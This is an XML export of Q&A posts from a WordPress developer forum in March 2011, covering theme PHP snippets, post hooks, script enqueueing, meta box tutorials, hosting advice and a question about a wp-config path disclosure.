  <row Id="12007" PostTypeId="2" ParentId="12002" CreationDate="2011-03-14T18:23:23.297" Score="1" ViewCount="" Body="&lt;p&gt;Well, as far as I can tell you've got a syntax error there. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $post_type = get_post_type( $post-&amp;gt;ID ); if ($post_type == 'project') echo 'Work'; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, make sure to check out what eileen.carpenter said in the comment to your question.&lt;/p&gt;&#xA;" OwnerUserId="3821" LastActivityDate="2011-03-14T18:23:23.297" />
  <row Id="12008" PostTypeId="2" ParentId="12004" CreationDate="2011-03-14T18:25:12.453" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;has_post_thumbnail()&lt;/code&gt;&lt;/a&gt; as condition and change output accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example from Codex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(has_post_thumbnail()) {&#xA;    the_post_thumbnail();&#xA;} else {&#xA;    echo '&amp;lt;img src=&quot;'.get_bloginfo(&quot;template_url&quot;).'/images/img-default.png&quot; /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-14T18:25:12.453" />
  <row Id="12009" PostTypeId="2" ParentId="12004" CreationDate="2011-03-14T18:26:41.133" Score="-1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if(has_post_thumbnail()) {&#xA;    the_post_thumbnail();&#xA;} else {&#xA;    echo '&amp;lt;img src=&quot;&amp;lt;?php echo get_settings('home'); ?&amp;gt;/images/default.gif&quot; alt=&quot;default&quot; title=&quot;default&quot; class=&quot;alignleft&quot; /&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there you go&lt;/p&gt;&#xA;" OwnerUserId="3937" LastActivityDate="2011-03-14T18:26:41.133" CommentCount="1" />
  <row Id="12011" PostTypeId="2" ParentId="11398" CreationDate="2011-03-14T18:32:35.793" Score="0" ViewCount="" Body="&lt;p&gt;If you've verified that the error still occurs after disabling all plugins and switching back to the default/included theme, then you can try reinstalling WordPress. Sometimes an individual file (or two) can be corrupted during the download of an update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To re-install WordPress, log into the admin part of your WordPress site and go to the Updates page (http://yourblogurl/wp-admin/update-core.php). There you should see a button labelled &quot;Re-install Automatically&quot;. That will re-download the WordPress files, overwriting anything that may have been previously corrupted.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2011-03-14T18:32:35.793" CommentCount="1" />
  <row Id="12012" PostTypeId="1" AcceptedAnswerId="12019" CreationDate="2011-03-14T18:44:16.330" Score="0" ViewCount="193" Body="&lt;p&gt;I've created a custom post type single template.  I noticed that when I turn off comments, I get a notice that says &quot;Comments are closed.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at my comments.php, I get this little bit of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     &amp;lt;?php else : // or, if we don't have comments:&#xA;&#xA;        /* If there are no comments and comments are closed,&#xA;         * let's leave a little note, shall we?&#xA;         * But only on posts! We don't want the note on pages.&#xA;         */&#xA;        if ( ! comments_open() &amp;amp;&amp;amp; ! is_page() ) :&#xA;        ?&amp;gt;&#xA;        &amp;lt;p class=&quot;nocomments&quot;&amp;gt;&amp;lt;?php _e( 'Comments are closed.', 'dukatheme' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php endif; // end ! comments_open() &amp;amp;&amp;amp; ! is_page() ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code makes it such that the notice is not shown on pages.  How can I edit it to make sure it is not shown on pages AND my custom post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom post type is named &quot;duka&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3403" LastActivityDate="2011-06-14T04:30:29.373" Title="Remove &quot;Comments are closed&quot; Notice from Custom Post Type template" Tags="&lt;comments&gt;" AnswerCount="2" />
  <row Id="12013" PostTypeId="2" ParentId="11974" CreationDate="2011-03-14T18:47:04.270" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://voodoopress.com/2011/03/adding-meta-boxes-to-your-post-screen/&quot; rel=&quot;nofollow&quot;&gt;http://voodoopress.com/2011/03/adding-meta-boxes-to-your-post-screen/&lt;/a&gt;&#xA;Is a post I wrote the other day about adding meta boxes.  I use it to put links in to change the link some of my post titles use.  I'm not sure if this is what you are looking for exactly, as I'm not quite sure what you mean by 'extra fields'&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-03-14T18:47:04.270" />
  <row Id="12014" PostTypeId="1" AcceptedAnswerId="12017" CreationDate="2011-03-14T18:50:14.263" Score="0" ViewCount="220" Body="&lt;p&gt;On my last  Wordpress 3 projects I successfully used custom post types and taxonomies coding the implementation by myself. As regards to custom write panels, I always used the &lt;a href=&quot;http://wordpress.org/extend/plugins/more-fields/&quot; rel=&quot;nofollow&quot;&gt;more fields plugin&lt;/a&gt; without any problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am developing a whole new theme which needs to be totally independent from that plugin therefore I need to add the custom write panels only by coding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a lot of searching but I was not able to find a good tutorial about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-03-14T18:56:27.460" Title="Good tutorial on how to make custom write panels in Wordpress 3?" Tags="&lt;3.0&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="12015" PostTypeId="2" ParentId="11095" CreationDate="2011-03-14T18:52:26.660" Score="4" ViewCount="" Body="&lt;p&gt;Very likely your settings are there but during your find and replace in sql you may have corrupted the serialised options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are doing a mysql dump from site #1 and importing  dump to database for site #2, you might want to use my WordPress migration script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;a href=&quot;https://github.com/azizur/wordpress-oneclick-migration&quot; rel=&quot;nofollow&quot;&gt;WordPress migration script&lt;/a&gt; you can have all the options updated with one click, migrating all your settings for plugins, themes, widgets and other options.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-03-14T18:52:26.660" CommentCount="2" />
  <row Id="12016" PostTypeId="2" ParentId="12014" CreationDate="2011-03-14T18:54:04.747" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://voodoopress.com/2011/03/adding-meta-boxes-to-your-post-screen/&quot; rel=&quot;nofollow&quot;&gt;http://voodoopress.com/2011/03/adding-meta-boxes-to-your-post-screen/&lt;/a&gt;&#xA;I'm not sure if my writing is good enough, but here is an attempt I made on explaining meta boxes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are meta boxes what you are looking for?  I'm not crystal on to what exactly you are referring by write panels&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-03-14T18:54:04.747" CommentCount="2" />
  <row Id="12017" PostTypeId="2" ParentId="12014" CreationDate="2011-03-14T18:56:27.460" Score="2" ViewCount="" Body="&lt;p&gt;I always loved this article &lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&lt;/a&gt; mainly for the reason that its about creating a calss to use for your metaboxs.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-14T18:56:27.460" CommentCount="4" />
  <row Id="12018" PostTypeId="2" ParentId="11095" CreationDate="2011-03-14T19:09:49.433" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;changing all necessary references&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What do you mean by this? If you are running straight replace on database dump it is very likely that you are breaking serialized data - which very well might be reason for settings not being imported.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-14T19:09:49.433" CommentCount="2" />
  <row Id="12019" PostTypeId="2" ParentId="12012" CreationDate="2011-03-14T19:12:23.207" Score="0" ViewCount="" Body="&lt;p&gt;Add a post type check to the &lt;code&gt;if&lt;/code&gt; clause;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !comments_open() &amp;amp;&amp;amp; !is_page() &amp;amp;&amp;amp; $post-&amp;gt;post_type != 'duka' ) :&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-14T19:12:23.207" CommentCount="1" />
  <row Id="12020" PostTypeId="2" ParentId="12012" CreationDate="2011-03-14T19:14:32.777" Score="0" ViewCount="" Body="&lt;p&gt;I just do it directly on my templates... like in single.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( comments_open() ) : comments_template( '', true ); endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will that work for ya?&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-03-14T19:14:32.777" />
  <row Id="12022" PostTypeId="2" ParentId="11803" CreationDate="2011-03-14T19:14:49.127" Score="1" ViewCount="" Body="&lt;p&gt;I really like MDD hosting. I had some technical questions on WP MU and domain mapping and they answered them pretty quickly. They're also running Litespeed web server which some claim is faster than your normal Apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like others, I have mixed feelings about MediaTemple too. I think they're not as fast they used to be but for some things having a toll free 800 for support is great. They helped me setup some symbolic links just over the weekend on a simple 5 minute call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your traffic metrics, I know you need either a dedicated or VPS soluton but I wrote up an extensive review of WP hosting including MT on shared / lower priced hosting plans here: &lt;a href=&quot;http://wpverse.com/eak&quot; rel=&quot;nofollow&quot;&gt;http://wpverse.com/eak&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-14T19:14:49.127" />
  <row Id="12023" PostTypeId="1" CreationDate="2011-03-14T19:19:55.670" Score="1" ViewCount="577" Body="&lt;p&gt;I would like to include a &quot;resources&quot; section in a new WordPress site I'm creating. I was looking for a document library plugin for WP, and amazingly, couldn't find anything that would work for the simple task of presenting a list of categories, and then displaying uploaded documents in those categories so they could be downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could make a resources list by hand, making all the document links myself. But isn't there a better way? You can't even add categories to media library items. I thought about making a blog post for each document, putting those in categories, and then putting a link to the document in the body. But that seems too complicated as well, and I would have to write a special display page myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have advice about how to build a document library using WordPress?&lt;/p&gt;&#xA;" OwnerUserId="3939" LastActivityDate="2011-03-15T00:37:21.307" Title="Using WordPress as a document library" Tags="&lt;media-library&gt;" AnswerCount="2" />
  <row Id="12024" PostTypeId="2" ParentId="11972" CreationDate="2011-03-14T19:20:40.480" Score="0" ViewCount="" Body="&lt;p&gt;if I add this code as I recall it in the loop?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the current page&#xA;$paged = get_query_var('paged');&#xA;if (!$paged) $paged = 1;&#xA;&#xA;// We'll return these at a later stage&#xA;$current_page = $paged;&#xA;$total_pages = ceil(count($authors) / 10);&#xA;&#xA;// Calculate the starting and ending points&#xA;// Assuming we'll be showing 10 authors per page&#xA;$start = ($paged - 1) * 10;&#xA;$end = $paged * 10;&#xA;if ($end &amp;gt; count($authors)) $end = count($authors);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3897" LastActivityDate="2011-03-14T19:20:40.480" CommentCount="3" />
  <row Id="12025" PostTypeId="1" AcceptedAnswerId="12028" CreationDate="2011-03-14T19:21:23.810" Score="1" ViewCount="309" Body="&lt;p&gt;The following code should read: If the current custom post type (bbp_forum), is the one being displayed, assign the &lt;strong&gt;class&lt;/strong&gt; 'current' to its respective &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tag. But for some reason the class &lt;strong&gt;'current'&lt;/strong&gt; (to highlight the current &lt;code&gt;bbp_forum&lt;/code&gt; link) is being displayed in all the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tags:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/G2NPf.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;              &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&#xA;&amp;lt;div id=&quot;wrapper&quot; class=&quot;hfeed&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;masthead&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;branding&quot; role=&quot;banner&quot;&amp;gt;&#xA;                &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo home_url( '/' ); ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?&amp;gt;&quot; rel=&quot;home&quot;&amp;gt;&amp;lt;?php bloginfo( 'name' ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #branding --&amp;gt;&#xA;            &amp;lt;div id=&quot;access&quot; role=&quot;navigation&quot;&amp;gt;&#xA;                &amp;lt;?php wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'primary' ) ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #access --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #masthead --&amp;gt;&#xA;        &amp;lt;ul id=&quot;forums&quot;&amp;gt;&#xA;          &amp;lt;?php global $post; $cat_posts = get_posts('post_type=bbp_forum');&#xA;          foreach($cat_posts as $post) : ?&amp;gt;&#xA;            &amp;lt;li &amp;lt;?php if($post-&amp;gt;ID == get_the_ID()){ ?&amp;gt;class=&quot;current&quot; &amp;lt;?php } ?&amp;gt;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;             &amp;lt;/li&amp;gt;&#xA;          &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&amp;lt;!-- #access --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #header --&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;main&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-14T19:24:04.657" LastActivityDate="2011-03-14T19:30:00.657" Title="Conditional if statement ($post-&gt;ID == get_the_ID) not working" Tags="&lt;bbpress&gt;" AnswerCount="1" />
  <row Id="12026" PostTypeId="2" ParentId="11999" CreationDate="2011-03-14T19:23:36.873" Score="2" ViewCount="" Body="&lt;p&gt;Yes, your page(s) are loading images, CSS, or JS files that are called in the HTML via non secure mode (http versus https).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install the Firebug extension on your Firefox browser and look at your URLs that are loading in network tab. Screenshot:&#xA;&lt;a href=&quot;https://skitch.com/noelsaw/rww31/fullscreen&quot; rel=&quot;nofollow&quot;&gt;https://skitch.com/noelsaw/rww31/fullscreen&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could use Pingdom tools to see what URLs are being loaded. Example:&#xA;&lt;a href=&quot;http://tools.pingdom.com/?url=chase.com&amp;amp;treeview=0&amp;amp;column=objectID&amp;amp;order=1&amp;amp;type=0&amp;amp;save=true&quot; rel=&quot;nofollow&quot;&gt;http://tools.pingdom.com/?url=chase.com&amp;amp;treeview=0&amp;amp;column=objectID&amp;amp;order=1&amp;amp;type=0&amp;amp;save=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you'd have to edit your posts/pages, theme files to specifically call https:// for images, css, and js files. &lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-14T19:23:36.873" CommentCount="1" />
  <row Id="12027" PostTypeId="1" AcceptedAnswerId="12029" CreationDate="2011-03-14T19:29:37.663" Score="1" ViewCount="122" Body="&lt;p&gt;I read the following tutorial, which mentions moving your config file out of an HTTP-accessible folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress#Securing_wp-config.php&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Hardening_WordPress#Securing_wp-config.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this, and it works fine. And when I visit &lt;a href=&quot;http://mysite.com/wp-config.php&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/wp-config.php&lt;/a&gt;, I see a blank page, as expected. However, when I visit &lt;a href=&quot;http://mysite.com/wp-settings.php&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/wp-settings.php&lt;/a&gt;, I receive the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: require(ABSPATHwp-includes/load.php) [function.require]: failed to open stream: No such file or directory in /home/{my user name}/mysite.com/wp-settings.php on line 19&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: require() [function.require]: Failed opening required 'ABSPATHwp-includes/load.php' (include_path='.:/usr/local/lib/php:/usr/local/php5/lib/pear') in /home/{my user name}/mysite.com/wp-settings.php on line 19&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm new to WordPress and PHP, but not new to programming. Obviously, having my shell user's name output to the web if someone were to hit my wp-settings file is a no-no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can you have your config file out of the web directory, as I have here, without files like wp-settings resulting in sensitive information leaked to the screen? Am I going about this all wrong?&lt;/p&gt;&#xA;" OwnerUserId="2897" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-14T19:54:46.180" LastActivityDate="2011-03-14T19:57:43.290" Title="Securing wp-config leads to sensitive information leak on wp-settings" Tags="&lt;security&gt;&lt;settings&gt;&lt;wp-config&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="12028" PostTypeId="2" ParentId="12025" CreationDate="2011-03-14T19:30:00.657" Score="1" ViewCount="" Body="&lt;p&gt;The expression will always be true. Take a look at &lt;code&gt;get_the_ID()&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_the_ID() {&#xA;    global $post;&#xA;    return $post-&amp;gt;ID;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So your code is effectively running as;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $post-&amp;gt;ID == $post-&amp;gt;ID ) // always true!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead, cache the ID of the main post in a variable, then compare that instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;global $post;&#xA;&#xA;/**&#xA; * @var int Current post ID.&#xA; */&#xA;$the_post_ID = $post-&amp;gt;ID;&#xA;&#xA;/**&#xA; * @var array All posts for bbp_forum.&#xA; */&#xA;$cat_posts = get_posts('post_type=bbp_forum');&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php foreach ( $cat_posts as $post ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;li&amp;lt;?php if ( $post-&amp;gt;ID == $the_post_ID ) echo ' class=&quot;current&quot;'; ?&amp;gt;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-14T19:30:00.657" CommentCount="1" />
  <row Id="12029" PostTypeId="2" ParentId="12027" CreationDate="2011-03-14T19:57:43.290" Score="3" ViewCount="" Body="&lt;p&gt;Hm, core WP files are usually die properly if opened directly. It probably slipped developers to include check in this one or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simple ways to fix this (and not really WP-specific) would be to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;configure PHP on server to not display errors by default;&lt;/li&gt;&#xA;&lt;li&gt;restrict access to file with .htaccess or other means.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-14T19:57:43.290" CommentCount="7" />
  <row Id="12030" PostTypeId="2" ParentId="11981" CreationDate="2011-03-14T20:03:50.880" Score="0" ViewCount="" Body="&lt;p&gt;I had just recently picked up (form comment in some question here) this - &lt;a href=&quot;http://dotorgstyleguide.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org UI Styleguide&lt;/a&gt;. It seems to be official (linked to from &lt;a href=&quot;http://make.wordpress.org/ui/&quot; rel=&quot;nofollow&quot;&gt;UI development blog&lt;/a&gt; at least).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-14T20:03:50.880" />
  <row Id="12031" PostTypeId="1" AcceptedAnswerId="12039" CreationDate="2011-03-14T20:06:00.810" Score="0" ViewCount="231" Body="&lt;p&gt;I am using the More Fields plugin which gives me the ability to create a date formatted YYYY/mm/dd  and I want to convert that to be shown like: February 11, 2011&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2755" LastActivityDate="2011-03-14T20:53:30.583" Title="converting custom field date format" Tags="&lt;custom-field&gt;&lt;date-time&gt;" AnswerCount="2" />
  <row Id="12032" PostTypeId="1" AcceptedAnswerId="12033" CreationDate="2011-03-14T20:09:06.677" Score="0" ViewCount="183" Body="&lt;p&gt;I'm just wondering what is the correct way to do it? Add it in via the theme header? If so, what is the proper way to do it? I see a lot of the other current stuff in there using the bloginfo() function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You!&lt;/p&gt;&#xA;" OwnerUserId="1839" LastActivityDate="2011-03-16T13:32:21.310" Title="Correct way to include extra styles &amp; script files?" Tags="&lt;javascript&gt;&lt;stylesheet&gt;" AnswerCount="3" />
  <row Id="12033" PostTypeId="2" ParentId="12032" CreationDate="2011-03-14T20:21:28.913" Score="4" ViewCount="" Body="&lt;p&gt;You could tack it into header.php as you suggested (although this is not really the proper way to do it, it is best to use WPs enqueue function as described here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When do you need these?  All the time?  You can enqueue scripts and styles to be used all the time, or on an as-needed/per template basis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-16T13:32:21.310" LastActivityDate="2011-03-16T13:32:21.310" CommentCount="5" />
  <row Id="12034" PostTypeId="2" ParentId="12032" CreationDate="2011-03-14T20:21:48.237" Score="3" ViewCount="" Body="&lt;p&gt;the right way would be using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_script&lt;/a&gt; for scripts and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_style&lt;/a&gt; for styles.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-14T20:21:48.237" />
  <row Id="12035" PostTypeId="2" ParentId="11993" CreationDate="2011-03-14T20:31:33.560" Score="2" ViewCount="" Body="&lt;p&gt;the hook is &lt;code&gt;wp_insert_post_data&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which as two parameters ($data, $postarr) and its a filter hook that fires before inserting the post into the database so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data','callback_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as for &lt;code&gt;save_post&lt;/code&gt; hook it happens after inserting the post to database.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-14T20:31:33.560" CommentCount="1" />
  <row Id="12036" PostTypeId="2" ParentId="12032" CreationDate="2011-03-14T20:32:09.470" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/205/scribu&quot;&gt;Scribu&lt;/a&gt; has an &lt;em&gt;excellent&lt;/em&gt; article on &lt;a href=&quot;http://scribu.net/wordpress/optimal-script-loading.html&quot; rel=&quot;nofollow&quot;&gt;loading scripts in WordPress&lt;/a&gt;. Basically, if you need a script to load on every page, use the following code (blatantly copied from said article):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('template_redirect', 'add_my_script');&#xA;&#xA;function add_my_script() {&#xA;    wp_enqueue_script('my-script', plugins_url('my-script.js', __FILE__), '1.0', true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I removed the part of that snippet that expresses a dependency on jQuery). I suggest you read that whole post - it's very educational.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-03-14T20:32:09.470" CommentCount="1" />
  <row Id="12037" PostTypeId="2" ParentId="12031" CreationDate="2011-03-14T20:38:47.287" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$date = '2000/10/28';&#xA;$a = preg_split ( '/\//', $date );&#xA;echo date('F j, Y', mktime( 0, 0, 0, $a[1], $a[2], $a[0] ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-14T20:38:47.287" />
  <row Id="12038" PostTypeId="2" ParentId="11993" CreationDate="2011-03-14T20:50:03.547" Score="2" ViewCount="" Body="&lt;p&gt;Available actions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;pre_post_update&lt;/strong&gt; - Runs just before a post or page is updated.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;publish_post&lt;/strong&gt; - Runs when a post is published, or if it is edited and its status is &quot;published&quot;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;save_post&lt;/strong&gt; - Runs whenever a post or page is created or updated, which could be from an import, post/page edit form, xmlrpc, or post by email.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;wp_insert_post&lt;/strong&gt; - Same as save_post, runs immediately afterwards.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference#Post.2C_Page.2C_Attachment.2C_and_Category_Actions&quot; rel=&quot;nofollow&quot;&gt;Plugin API/Action Reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('action_name', 'callback_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastEditorUserId="3768" LastEditorDisplayName="" LastEditDate="2011-03-14T22:03:01.317" LastActivityDate="2011-03-14T22:03:01.317" CommentCount="1" />
